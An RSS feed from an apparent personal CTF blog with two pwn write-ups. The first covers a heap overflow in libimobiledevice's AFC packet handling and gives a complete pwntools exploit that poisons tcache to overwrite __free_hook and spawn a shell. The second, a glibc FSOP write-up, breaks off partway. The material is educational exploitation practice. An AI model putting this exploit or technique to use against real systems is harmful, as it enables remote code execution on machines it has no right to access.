<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Epsilon</title><description>No description</description><link>https://epsilons1na.github.io/</link><language>en</language><item><title>[Sekai-CTF 2026]-Pwn/PPP</title><link>https://epsilons1na.github.io/posts/sekai_ctf_ppp/</link><guid isPermaLink="true">https://epsilons1na.github.io/posts/sekai_ctf_ppp/</guid><description>oh my goddo a zero day</description><pubDate>Mon, 06 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;Overview&lt;/h3&gt;
&lt;p&gt;This is easiest pwn challenge in sekai ctf, and it got quite some solves and it was very nerfed. No ASLR, No safe linking in libc. No ASLR was really a nail in the coffin cuz it made challenge a lot easier than it would be.&lt;/p&gt;
&lt;h4&gt;Day 2&lt;/h4&gt;
&lt;p&gt;I entered in CTF kinda late and saw a challenge with tagged zero day and easy, has lotta solves. My excitement dropped by half cuz I kinda don&apos;t like auditing long source code in CTF. On first glance it seemed a networking type challenges, sending and receiving packets both via stdin. Well Vuln was not hard to find but I couldn&apos;t setup the gdb and I took my first L and accepted the infra-setup-skill-issue and went to nap.&lt;/p&gt;
&lt;h4&gt;Day 3&lt;/h4&gt;
&lt;p&gt;I wokeup and saw that my webber teammate already solved it and submitted the flag. I took another L and went to sleep.&lt;/p&gt;
&lt;h4&gt;Day 7&lt;/h4&gt;
&lt;p&gt;After getting humiliated by pwn challenges in R3CTF, I came back to this challenge and this time I was not alone, I had clanker in my antigravity with me, and told it to setup the debugging environment. And i was back again with gdb, my my preciousssss....
But then I found out that I can&apos;t setup break point in it and neither there was any debug symbols. And now instead of challenge I got nerfed. But I could see the memory mapping and It was more than enough to solve.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/images/entrypoint.png&quot; alt=&quot;entrypoint&quot; title=&quot;entrypoint&quot; /&gt;
&lt;img src=&quot;../../assets/images/dockerfiledebug.png&quot; alt=&quot;dockerfiledebug&quot; title=&quot;dockerfiledebug&quot; /&gt;
&lt;img src=&quot;../../assets/images/remotescript.png&quot; alt=&quot;remotescript&quot; title=&quot;remotescript&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Sauce Code &amp;amp; Exploitation&lt;/h3&gt;
&lt;p&gt;Honestly there are too many loc and I don&apos;t want to insert every loc in this blog. I&apos;ll just add some snippet and explain stuff.
Morever, I&apos;ll just mention how I solved this challenge instead of just posting the solves. There is too much to audit and most of the loc in sauce in not even necessary to know. Only thing required to solve this is to know where is malloc and free.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/images/menu.png&quot; alt=&quot;menu&quot; title=&quot;menu&quot; /&gt;
&lt;img src=&quot;../../assets/images/wait_for_input.png&quot; alt=&quot;wait_for_input&quot; title=&quot;wait_for_input&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As you can see it is menu type with some option and when i enter ls it  prints 8-byte &lt;code&gt;AFC_MAGIC_STR&lt;/code&gt; and waits for input.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;else if (!strcmp(cmd, &quot;ls&quot;)) {
char **l = NULL;
afc_error_t e = afc_read_directory(afc, arg ? arg : &quot;/&quot;, &amp;amp;l);
if (e == AFC_E_SUCCESS &amp;amp;&amp;amp; l) print_names(l);
else printf(&quot;ls: afc error %d\n&quot;, e);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;afc_read_directory is called with afc and arg from input. Touring the source code in libimobildevice,&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;afc_error_t afc_read_directory(afc_client_t client, const char *path, char ***directory_information)
{
	uint32_t bytes = 0;
	char *data = NULL, **list_loc = NULL;
	afc_error_t ret = AFC_E_UNKNOWN_ERROR;

	if (!client || !path || !directory_information || (directory_information &amp;amp;&amp;amp; *directory_information))
		return AFC_E_INVALID_ARG;

	afc_lock(client);

	uint32_t data_len = (uint32_t)strlen(path)+1;
	if (_afc_check_packet_buffer(client, data_len) &amp;lt; 0) {
		afc_unlock(client);
		debug_info(&quot;Failed to realloc packet buffer&quot;);
		return AFC_E_NO_MEM;
	}

	/* Send the command */
	memcpy(AFC_PACKET_DATA_PTR, path, data_len);
	ret = afc_dispatch_packet(client, AFC_OP_READ_DIR, data_len, NULL, 0, &amp;amp;bytes);
	if (ret != AFC_E_SUCCESS) {
		afc_unlock(client);
		return AFC_E_NOT_ENOUGH_DATA;
	}
	/* Receive the data */
	ret = afc_receive_data(client, &amp;amp;data, &amp;amp;bytes);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This last line is lifeline of this challenge. My initial guess was that the &lt;code&gt;MAGIC&lt;/code&gt;  string that is getting printed must be due to the &lt;code&gt;afc_dispatch_packet&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static afc_error_t afc_receive_data(afc_client_t client, char **bytes, uint32_t *bytes_recv)
{
	AFCPacket header;
	uint32_t entire_len = 0;
	uint32_t this_len = 0;
	uint32_t current_count = 0;
	uint64_t param1 = -1;
	char *buf = NULL;
	uint32_t recv_len = 0;

	if (bytes_recv) {
		*bytes_recv = 0;
	}
	if (bytes) {
		*bytes = NULL;
	}

	/* first, read the AFC header */
	afc_error_t err = service_to_afc_error(service_receive(client-&amp;gt;parent, (char*)&amp;amp;header, sizeof(AFCPacket), &amp;amp;recv_len));
	if (err != AFC_E_SUCCESS) {
		debug_info(&quot;Failed to receive AFC header: %s (%d)&quot;, afc_strerror(err), err);
		return err;
	}
	if (recv_len == 0) {
		debug_info(&quot;Just didn&apos;t get enough.&quot;);
		return AFC_E_NOT_ENOUGH_DATA;
	}

	if (recv_len &amp;lt; sizeof(AFCPacket)) {
		debug_info(&quot;Did not even get the AFCPacket header&quot;);
		return AFC_E_NOT_ENOUGH_DATA;
	}
  	/* make sure endianness is correct */
	AFCPacket_from_LE(&amp;amp;header);



&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As comment mentioned, the input from user is due to &lt;code&gt;service_to_afc_error&lt;/code&gt; and it recv_len should be equal to size of AFCpacket.
I found about AFCPacket in given source code which is this&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
typedef struct {
	char magic[AFC_MAGIC_LEN];
	uint64_t entire_length, this_length, packet_num, operation;
} AFCPacket;

#define AFCPacket_to_LE(x) \
 	(x)-&amp;gt;entire_length = htole64((x)-&amp;gt;entire_length); \
	(x)-&amp;gt;this_length   = htole64((x)-&amp;gt;this_length); \
	(x)-&amp;gt;packet_num    = htole64((x)-&amp;gt;packet_num); \
	(x)-&amp;gt;operation     = htole64((x)-&amp;gt;operation);

#define AFCPacket_from_LE(x) \
	(x)-&amp;gt;entire_length = le64toh((x)-&amp;gt;entire_length); \
	(x)-&amp;gt;this_length   = le64toh((x)-&amp;gt;this_length); \
	(x)-&amp;gt;packet_num    = le64toh((x)-&amp;gt;packet_num); \
	(x)-&amp;gt;operation     = le64toh((x)-&amp;gt;operation);

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So input should be in form of this struct, and also confirmed from &lt;code&gt;AFCPacket_from_LE this&lt;/code&gt; line.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	/* check if it&apos;s a valid AFC header */
	if (strncmp(header.magic, AFC_MAGIC, AFC_MAGIC_LEN) != 0) {
		debug_info(&quot;Invalid AFC packet received (magic != &quot; AFC_MAGIC &quot;)!&quot;);
		return AFC_E_UNKNOWN_PACKET_TYPE;
	}

/* check if it has the correct packet number */
	if (header.packet_num != client-&amp;gt;afc_packet-&amp;gt;packet_num) {
		/* otherwise print a warning but do not abort */
		debug_info(&quot;ERROR: Unexpected packet number (%lld != %lld) aborting.&quot;, header.packet_num, client-&amp;gt;afc_packet-&amp;gt;packet_num);
		return AFC_E_OP_HEADER_INVALID;
	}

	/* then, read the attached packet */
	if (header.this_length &amp;lt; sizeof(AFCPacket)) {
		debug_info(&quot;Invalid AFCPacket header received!&quot;);
		return AFC_E_OP_HEADER_INVALID;
	}
	if ((header.this_length == header.entire_length)
		&amp;amp;&amp;amp; header.entire_length == sizeof(AFCPacket)) {
		debug_info(&quot;Empty AFCPacket received!&quot;);
		if (header.operation == AFC_OP_DATA) {
			return AFC_E_SUCCESS;
		}
		return AFC_E_IO_ERROR;
	}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now this is some condition to validate the packet, this_lenght should be less than 0x28 and this_length should not be equal to entire_length and 0x28 otherwise this will return.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
	entire_len = (uint32_t)header.entire_length - sizeof(AFCPacket);
	this_len = (uint32_t)header.this_length - sizeof(AFCPacket);

	buf = (char*)malloc(entire_len);
	if (this_len &amp;gt; 0) {
		recv_len = 0;
		err = service_to_afc_error(service_receive(client-&amp;gt;parent, buf, this_len, &amp;amp;recv_len));
		if (err != AFC_E_SUCCESS) {
			free(buf);
			debug_info(&quot;Failed to receive data: %s (%d)&quot;, afc_strerror(err), err);
		}
		if (recv_len &amp;lt;= 0) {
			free(buf);
			debug_info(&quot;Did not get packet contents!&quot;);
			return (err == AFC_E_SUCCESS) ? AFC_E_NOT_ENOUGH_DATA : err;
		}
		if (recv_len &amp;lt; this_len) {
			free(buf);
			debug_info(&quot;Could not receive this_len=%d bytes&quot;, this_len);
			return (err == AFC_E_SUCCESS) ? AFC_E_END_OF_DATA : err;
		}
	}

	current_count = this_len;
  if (entire_len &amp;gt; this_len) {
		while (current_count &amp;lt; entire_len) {
			recv_len = 0;
			err = service_to_afc_error(service_receive(client-&amp;gt;parent, buf+current_count, entire_len - current_count, &amp;amp;recv_len));
			if (err != AFC_E_SUCCESS) {
				debug_info(&quot;Error receiving data: %s (%d)&quot;, afc_strerror(err), err);
				break;
			}
			if (recv_len &amp;lt;= 0) {
				debug_info(&quot;Error receiving data (recv returned %d)&quot;, recv_len);
				break;
			}
			current_count += recv_len;
		}
		if (current_count &amp;lt; entire_len) {
			free(buf);
			debug_info(&quot;ERROR: Could not receive entire packet (read %i/%i)&quot;, current_count, entire_len);
			return (err == AFC_E_SUCCESS) ? AFC_E_END_OF_DATA : err;
		}
	}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now comes the banger line, It firsts update both entire_lenth and this_length and allocate a chunk with size of updated_entire_length, but it reads upto updated_this_Length in &lt;code&gt;service_to_afc_error&lt;/code&gt; granting us a very sweet heap overflow.
You can read the source code in &lt;a href=&quot;https://github.com/libimobiledevice/libimobiledevice/blob/master/src/service.c&quot;&gt;service.c&lt;/a&gt; and &lt;a href=&quot;https://github.com/libimobiledevice/libimobiledevice/blob/master/src/idevice.c&quot;&gt;device.c&lt;/a&gt;, I tested it with gef and indeed &lt;code&gt;top_chunk&lt;/code&gt; was corrupted.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;io.recvuntil(b&quot;afc&amp;gt;&quot;)
io.sendline(b&quot;ls &quot;)
payload = packet(0x50,0x60,0x1,0x0)
io.send(payload)
io.send(b&quot;A&quot;*(0x60-0x28))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/images/corrupt_top_chunk.png&quot; alt=&quot;corrupt_top_chunk&quot; title=&quot;corrupt_top_chunk&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/images/error_debug.png&quot; alt=&quot;error_debug&quot; title=&quot;error_debug&quot; /&gt;&lt;/p&gt;
&lt;p&gt;To check this lfc error number I used this &lt;a href=&quot;https://docs.libimobiledevice.org/libimobiledevice/latest/afc_8h.html&quot;&gt;API Documentation&lt;/a&gt; so just to know in which loc error occured.&lt;/p&gt;
&lt;p&gt;One of the check is afc_recieve_data was of correct packet num. In afc_dispatch_packet packet num is updated by +1. So I tested this by sending two consecutive packets starting from 0x1 and then 0x2 and it returned with no error.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static afc_error_t afc_dispatch_packet(afc_client_t client, uint64_t operation, uint32_t data_length, const char* payload, uint32_t payload_length, uint32_t *bytes_sent)
{
	uint32_t sent = 0;

	if (!client || !client-&amp;gt;parent || !client-&amp;gt;afc_packet)
		return AFC_E_INVALID_ARG;

	*bytes_sent = 0;

	if (!payload || !payload_length)
		payload_length = 0;

	client-&amp;gt;afc_packet-&amp;gt;packet_num++;
	client-&amp;gt;afc_packet-&amp;gt;operation = operation;
	client-&amp;gt;afc_packet-&amp;gt;entire_length = sizeof(AFCPacket) + data_length + payload_length;
	client-&amp;gt;afc_packet-&amp;gt;this_length = sizeof(AFCPacket) + data_length;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;now next is some operation check and then&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	if (bytes) {
		*bytes = buf;
	} else {
		free(buf);
	}

	*bytes_recv = current_count;
	return AFC_E_SUCCESS;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I initially did not understand this code but later i found it is way to manage memory.
In this afc_read_directory bytes in not null so if condition is true.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	/* Receive the data */
	ret = afc_receive_data(client, &amp;amp;data, &amp;amp;bytes);
	if (ret != AFC_E_SUCCESS) {
		if (data)
			free(data);
		afc_unlock(client);
		return ret;
	}
	/* Parse the data */
	list_loc = make_strings_list(data, bytes);
	if (data)
		free(data);

	afc_unlock(client);
	*directory_information = list_loc;

	return ret;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So if ret is &lt;code&gt;AFC_E_SUCCESS&lt;/code&gt;, it does not free the memory and make_strings_list is not really necessary for exploit purpose but it does allocate a chunk of 0x20 bytes. But when I tested it in gdb I found out that memory is freed, and the reason is this in &lt;code&gt;afc_list.c&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* free the parsed list (in cleanup order: reverse) */
static void free_list(char **list, int n)
{
    for (int i = n - 1; i &amp;gt;= 0; i--) free(list[i]);
    free(list);
}

/* directory / device listings: one entry per line */
static void print_names(char **list)
{
    int n = 0;
    while (list[n]) { puts(list[n]); n++; }
    free_list(list, n);
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So there is heap overflow, every memory is freed after it returns but wait if there is no &lt;code&gt;print_names&lt;/code&gt; then memory is not freed, right?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;        } else if (!strcmp(cmd, &quot;mkdir&quot;)) {
            afc_error_t e = afc_make_directory(afc, arg ? arg : &quot;/&quot;);
            puts(e == AFC_E_SUCCESS ? &quot;OK&quot; : &quot;mkdir failed&quot;);

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So I tried to mkdir with my tongue open and when i clicked vis in gef, I got clowned. As my hasty assumption was wrong.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;afc_error_t afc_make_directory(afc_client_t client, const char *path)
{
	uint32_t bytes = 0;
	afc_error_t ret = AFC_E_UNKNOWN_ERROR;

	if (!client)
		return AFC_E_INVALID_ARG;

	afc_lock(client);

	uint32_t data_len = (uint32_t)strlen(path)+1;
	if (_afc_check_packet_buffer(client, data_len) &amp;lt; 0) {
		afc_unlock(client);
		debug_info(&quot;Failed to realloc packet buffer&quot;);
		return AFC_E_NO_MEM;
	}

	/* Send command */
	memcpy(AFC_PACKET_DATA_PTR, path, data_len);
	ret = afc_dispatch_packet(client, AFC_OP_MAKE_DIR, data_len, NULL, 0, &amp;amp;bytes);
	if (ret != AFC_E_SUCCESS) {
		afc_unlock(client);
		return AFC_E_NOT_ENOUGH_DATA;
	}
	/* Receive response */
	ret = afc_receive_data(client, NULL, &amp;amp;bytes);

	afc_unlock(client);

	return ret;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In &lt;code&gt;afc_read_directory&lt;/code&gt;, &lt;code&gt;afc_recieve_data&lt;/code&gt; is called with &lt;code&gt;NULL&lt;/code&gt; in second argument so  due to this loc buffer is going to be freed.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	if (bytes) {
		*bytes = buf;
	} else {
		free(buf);
	}

	*bytes_recv = current_count;
	return AFC_E_SUCCESS;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I tried all other options in afc_list and in one way or another, memory is always going to be freed.
And in this way there is not going to be a next_chunk pointer that can be corrupted by heap overflows. So I started looking for another vuln or some logic bugs that will cause double-free, but I could not find any.&lt;/p&gt;
&lt;p&gt;So I started looking for another way to get heap pointer in chunk. Due to heap overflow, we can control not only change next_pointer but size of adjacent chunk too.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  if (tc_idx &amp;lt; mp_.tcache_bins
      &amp;amp;&amp;amp; tcache
      &amp;amp;&amp;amp; tcache-&amp;gt;counts[tc_idx] &amp;gt; 0)
    {
      return tcache_get (tc_idx);
    }

/* Caller must ensure that we know tc_idx is valid and there&apos;s
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache-&amp;gt;entries[tc_idx];
  tcache-&amp;gt;entries[tc_idx] = e-&amp;gt;next;
  --(tcache-&amp;gt;counts[tc_idx]);
  e-&amp;gt;key = NULL;
  return (void *) e;
}


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So when a chunk is allocated via malloc from tcache bins, size and address is known via tcache_perthread_struct but when a chunk is freed, the bins size is determined via chunk_metadata.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
io.recvuntil(b&quot;afc&amp;gt;&quot;)
io.sendline(b&quot;ls &quot;)
payload = packet(0x50,0x40,0x1,0x2)
io.send(payload)
io.send(b&quot;A&quot;*(0x50-0x28))

io.recvuntil(b&quot;afc&amp;gt;&quot;)
io.sendline(b&quot;ls &quot;)
payload = packet(0x50,0x60,0x2,0x2)
io.send(payload)
io.send(b&quot;A&quot;*(0x50-0x28))


io.recvuntil(b&quot;afc&amp;gt;&quot;)
io.sendline(b&quot;ls &quot;)
payload = packet(0x70,0x60,0x3,0x2)
io.send(payload)
io.send(b&quot;A&quot;*(0x70-0x28))


io.recvuntil(b&quot;afc&amp;gt;&quot;)
io.sendline(b&quot;ls &quot;)
payload = packet(0x40,0x60,0x4,0x2)
io.send(payload)
io.send(b&quot;A&quot;*(0x40-0x28)+pack(0x31))


io.recvuntil(b&quot;afc&amp;gt;&quot;)
io.sendline(b&quot;ls &quot;)
payload = packet(0x70,0x60,0x5,0x0)
io.send(payload)
io.send(b&quot;A&quot;*(0x70-0x28))

libc_base = 0x00007ffff7d65000
free_hook = libc_base+0x0000000001eee48
one_gadget = libc_base+0xe3b04

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/images/next-pointer.png&quot; alt=&quot;next-pointer&quot; title=&quot;next-pointer&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And we got the next_pointer in chunk and we can change that to &lt;code&gt;__free_hook&lt;/code&gt;. To gain control of the the &lt;code&gt;__free_hook&lt;/code&gt; we have to change the size of chunk again.
when this freed_chunk will be malloced the &lt;code&gt;__free_hook&lt;/code&gt; pointer will be written to tcache_perthread_struct but when the chunk will be freed the bins_size will be our updated_size leaving the &lt;code&gt;__free_hook&lt;/code&gt; pointer in &lt;code&gt;tcache_perthread_struct&lt;/code&gt; untouched.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/images/free-hook-in-free-list.png&quot; alt=&quot;free-hook-in-free-list&quot; title=&quot;free-hook-in-free-list&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
import subprocess
context.log_level = &quot;debug&quot;
elf = context.binary = ELF(&quot;./afc_list&quot;)
io = remote(&quot;localhost&quot;, 5000)
# io = remote(&quot;ppp.chals.sekai.team&quot;, 1337)

def get_pid():
    local_port = io.sock.getsockname()[1]
    cmd = f&quot;sudo lsof -n -iTCP:5000 -sTCP:ESTABLISHED | grep socat | grep &apos;:{local_port}&apos;&quot;
    output = subprocess.check_output(cmd, shell=True).decode()
    socat_pid = int(output.split()[1])
    cmd2 = f&quot;pgrep -P {socat_pid}&quot;
    child_pid = int(subprocess.check_output(cmd2, shell=True).decode().strip())
    return child_pid

def gef(pid):
    gdb.attach(pid, gdbscript=&quot;&quot;&quot;
# break *0x4011f0
&quot;&quot;&quot;, exe=elf.path)

def gdb_with_pid():
    gef(get_pid())

gdb_with_pid()

def packet(entire_length,this_length,packet_num,operation):
    return b&quot;CFA6LPAA&quot;+pack(entire_length)+pack(this_length)+pack(packet_num)+pack(operation)

io.recvuntil(b&quot;afc&amp;gt;&quot;)
io.sendline(b&quot;ls &quot;)
payload = packet(0x50,0x40,0x1,0x2)
io.send(payload)
io.send(b&quot;A&quot;*(0x50-0x28))

io.recvuntil(b&quot;afc&amp;gt;&quot;)
io.sendline(b&quot;ls &quot;)
payload = packet(0x50,0x60,0x2,0x2)
io.send(payload)
io.send(b&quot;A&quot;*(0x50-0x28))


io.recvuntil(b&quot;afc&amp;gt;&quot;)
io.sendline(b&quot;ls &quot;)
payload = packet(0x70,0x60,0x3,0x2)
io.send(payload)
io.send(b&quot;A&quot;*(0x70-0x28))


io.recvuntil(b&quot;afc&amp;gt;&quot;)
io.sendline(b&quot;ls &quot;)
payload = packet(0x40,0x60,0x4,0x2)
io.send(payload)
io.send(b&quot;A&quot;*(0x40-0x28)+pack(0x31))


io.recvuntil(b&quot;afc&amp;gt;&quot;)
io.sendline(b&quot;ls &quot;)
payload = packet(0x70,0x60,0x5,0x2)
io.send(payload)
io.send(b&quot;A&quot;*(0x70-0x28))

libc_base = 0x00007ffff7d65000
free_hook = libc_base+0x0000000001eee48
one_gadget = libc_base+0xe3b04



io.recvuntil(b&quot;afc&amp;gt;&quot;)
io.sendline(b&quot;ls &quot;)
payload = packet(0x40,0x60,0x6,0x2)
io.send(payload)
io.send(b&quot;A&quot;*(0x40-0x28)+pack(0x31)+pack(free_hook-0x8))



io.recvuntil(b&quot;afc&amp;gt;&quot;)
io.sendline(b&quot;ls &quot;)
payload = packet(0x40,0x60,0x7,0x0)
io.send(payload)
io.send(b&quot;A&quot;*(0x40-0x28)+pack(0x51))

# #malloc 0x31 bytes

io.recvuntil(b&quot;afc&amp;gt;&quot;)
io.sendline(b&quot;ls &quot;)
payload = packet(0x50,0x60,0x8,0x0)
io.send(payload)
io.send(b&quot;A&quot;*(0x50-0x28))



io.recvuntil(b&quot;afc&amp;gt;&quot;)
io.sendline(b&quot;ls &quot;)
payload = packet(0x50,0x60,0x9,0x0)
io.send(payload)
# payload = b&quot;/readflag sekai ppp&quot;
payload = b&quot;/bin/sh\x00&quot;
# payload+=b&quot;\x00&quot;*(0x28-len(payload))
payload += pack(libc_base+0x0000000000052290)
print(len(payload))
io.send(payload)
io.interactive()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/images/remote-flag.png&quot; alt=&quot;remote-flag&quot; title=&quot;remote-flag&quot; /&gt;
All the attachments are here:&lt;a href=&quot;https://github.com/el-s1na/CTF-Scripts/tree/main/SEKAI-CTF/ppp/pwn_ppp&quot;&gt;github&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Aftermath&lt;/h3&gt;
&lt;p&gt;This challenge was more fun than I expected, touring through the codebases was kinda good and slightly helped in removing my fear of big codebases.&lt;/p&gt;
</content:encoded></item><item><title>[TJ-CTF 2026]-Pwn/Ox78</title><link>https://epsilons1na.github.io/posts/tjctf_pwn_fsop/</link><guid isPermaLink="true">https://epsilons1na.github.io/posts/tjctf_pwn_fsop/</guid><description>Easy fsop~</description><pubDate>Tue, 19 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;Overview&lt;/h3&gt;
&lt;p&gt;This weekend, I played tjctf after a long time and solved this fsop challenge.The challenge is simple, author tried to prevent fsop by nulling the &lt;code&gt;_chain&lt;/code&gt; of file structure but it quite did not work.
The binary leaks the heap address and libc address thus we can bypass ASLR without any headache.
Although heap leak is not necessay in this challenge but some players solved it using both leaks.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./ld-linux-x86-64.so.2 ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.34-0ubuntu3) stable release version 2.34.
Copyright (C) 2021 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 10.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
&amp;lt;https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs&amp;gt;.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Basic information
Canary                                  : Disabled(will it work?)
NX                                      : Enabled
PIE                                     : Enabled
RELRO                                   : Full RELRO
Fortify                                 : Not found

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Source code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);//religious buffering
  Ox78();
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the main function. It does some religious buffering and then calls another function.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 Ox78()
{
  const void *v0; // rax

  create_test_file();
  testbuf = malloc(0x78uLL);
  fp = fopen(&quot;/tmp/test.txt&quot;, &quot;r&quot;);
  puts(
    &quot;I&apos;m trying to test my FSOP prevention mechanism so I can share it with my coworkers who know nothing about security.&quot;
    &quot; It should be foolproof right?\n&quot;);
  printf(&quot;Here&apos;s the address of the File Structure: 0x%llx\n&quot;, fp);
  v0 = (const void *)puts_got_value();//ptsd
  printf(&quot;I&apos;m pretty confident you can&apos;t break out of this, so I&apos;ll give you a libc leak as well: %p\n\n&quot;, v0);
  read(0, fp, 0x78uLL);
  prevent_fsop();//will it work?
  fread(testbuf, 1uLL, 0x78uLL, fp);//gem alert
  prevent_fsop();//will it work?
  return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Too many buzz loc!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;read(0, fp, 0x78uLL);
prevent_fsop();-&amp;gt;nulls the _chain;
fread(testbuf, 1uLL, 0x78uLL, fp);

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the real thing. It grants write primitive on file structure(fp) and then use this fp to read in testbuf.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# gef&amp;gt; ptype/ox FILE*
# type = struct _IO_FILE {
# /* 0x0000      |  0x0004 */    int _flags;
# /* XXX  4-byte hole      */
# /* 0x0008      |  0x0008 */    char *_IO_read_ptr;
# /* 0x0010      |  0x0008 */    char *_IO_read_end;
# /* 0x0018      |  0x0008 */    char *_IO_read_base;
# /* 0x0020      |  0x0008 */    char *_IO_write_base;
# /* 0x0028      |  0x0008 */    char *_IO_write_ptr;
# /* 0x0030      |  0x0008 */    char *_IO_write_end;
# /* 0x0038      |  0x0008 */    char *_IO_buf_base;
# /* 0x0040      |  0x0008 */    char *_IO_buf_end;
# /* 0x0048      |  0x0008 */    char *_IO_save_base;
# /* 0x0050      |  0x0008 */    char *_IO_backup_base;
# /* 0x0058      |  0x0008 */    char *_IO_save_end;
# /* 0x0060      |  0x0008 */    struct _IO_marker *_markers;
# /* 0x0068      |  0x0008 */    struct _IO_FILE *_chain;
# /* 0x0070      |  0x0004 */    int _fileno;
# /* 0x0074      |  0x0004 */    int _flags2;
# /* 0x0078      |  0x0008 */    __off_t _old_offset;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;with this write primitive we control many of the pointers of fp and this can be used to gain arbitrary write primitve. And we have libc leak thus making it very easy to write anywhere in libc.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;size_t
_IO_fread (void *buf, size_t size, size_t count, FILE *fp)
{
  size_t bytes_requested = size * count;
  size_t bytes_read;
  CHECK_FILE (fp, 0);//not in disassembly
  if (bytes_requested == 0)
    return 0;
  _IO_acquire_lock (fp);
  bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
  _IO_release_lock (fp);
  return bytes_requested == bytes_read ? count : bytes_read / size;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is implementation of fread in libc. I have pasted all the source code below and will explain the path which will lead to arb write. Above code calculates bytes_requested then sanity check the file structure(fp-&amp;gt;this is the same fp that we have write primitive on.), then does some locking stuff and calls _IO_sgetn.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
size_t
_IO_sgetn (FILE *fp, void *data, size_t n)
{
  /* FIXME handle putback buffer here! */
  return _IO_XSGETN (fp, data, n);
}
libc_hidden_def (_IO_sgetn)
--------------------------------------------------------------------------------
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;_IO_sgetn is just a call to _IO_XSGETN which is a jump to a pointer in vtable. I don&apos;t understand this correctly but seeing it in gef, I found the call to _IO_file_xsgetn.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x7e996ea91f60 &amp;lt;__GI__IO_sgetn&amp;gt; (
   FILE* fp = 0x000057d173e45320  -&amp;gt;  0x0000000000000800,-&amp;gt;fp
   void* data = 0x000057d173e452a0  -&amp;gt;  0x0000000000000000,-&amp;gt;test_buffer
   size_t n = 0x0000000000000078,-&amp;gt;size_of_test_buffer
)
 -&amp;gt; 0x7e996ea83c34 e827e30000            &amp;lt;fread+0x74&amp;gt;   call   0x7e996ea91f60 &amp;lt;__GI__IO_sgetn&amp;gt;

   -&amp;gt; 0x7e996ea91f60 f30f1efa              &amp;lt;_IO_sgetn&amp;gt;   endbr64
      0x7e996ea91f64 53                    &amp;lt;_IO_sgetn+0x4&amp;gt;   push   rbx
